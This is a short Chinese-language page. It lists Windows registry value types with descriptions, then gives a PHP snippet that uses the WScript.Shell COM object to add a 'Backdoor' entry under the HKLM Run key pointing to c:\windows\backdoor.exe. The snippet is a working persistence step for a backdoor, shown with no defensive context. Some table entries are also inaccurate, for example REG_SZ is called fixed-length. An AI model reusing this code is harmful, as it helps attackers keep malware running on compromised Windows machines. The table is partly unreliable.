注册表写入操作

注意:项的所有值的总大小不得超过 64K 的限制。

名称 数据类型 描述
二进制值 REG_BINARY 原始二进制数据。大多数硬件组件信息作为二进制数据存储,以十六进制的格式显示在注册表编辑器中。
DWORD 值 REG_DWORD 由 4 字节长(32 位整数)的数字表示的数据。设备驱动程序和服务的许多参数都是此类型,以二进制、十六进制或十进制格式显示在注册表编辑器中。与之有关的值是 DWORD_LITTLE_ENDIAN(最不重要的字节在最低位地址)和 REG_DWORD_BIG_ENDIAN(最不重要的字节在最高位地址)。
可扩展字符串值 REG_EXPAND_SZ 长度可变的数据字符串。这种数据类型包括程序或服务使用该数据时解析的变量。
多字符串值 REG_MULTI_SZ 多字符串。包含用户可以阅读的列表或多个值的值通常就是这种类型。各条目之间用空格、逗号或其他标记分隔。
字符串值 REG_SZ 长度固定的文本字符串。
二进制值 REG_RESOURCE_LIST 一系列嵌套的数组,用于存储硬件设备驱动程序或它控制的某个物理设备所使用的资源列表。此数据由系统检测并写入 \ResourceMap 树,作为二进制值以十六进制的格式显示在注册表编辑器中。
二进制值 REG_RESOURCE_REQUIREMENTS_LIST 一系列嵌套的数组,用于存储一个设备驱动程序(或其控制的某个物理设备)可以使用的硬件资源列表。系统将此列表的子集写入 \ResourceMap 树。此数据由系统检测,作为二进制值以十六进制的格式显示在注册表编辑器中。
二进制值 REG_FULL_RESOURCE_DESCRIPTOR 一系列嵌套的数组,用于存储物理硬件设备使用的资源列表。此数据由系统检测并写入 \HardwareDescription 树,作为二进制值以十六进制的格式显示在注册表编辑器中。
REG_NONE 没有任何特定类型的数据。此数据由系统或应用程序写到注册表,作为二进制值以十六进制的格式显示在注册表编辑器中。
链接 REG_LINK 一个 Unicode 字符串,它命名一个符号链接。
QWORD 值 REG_QWORD 由 64 位整数数字表示的数据。此数据在注册表编辑器中作为二进制值显示,并且是在 Windows 2000 中引入的。

<?php

// KEY
$regkey = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor';

$regtype = 'REG_SZ';

// VALUE
$regval = 'c:\windows\backdoor.exe';

$shell= new COM('WScript.Shell');

$a = $shell->RegWrite($regkey, $regval, $regtype);

echo 'Write registry '.(!$a ? 'success' : 'failed');

?>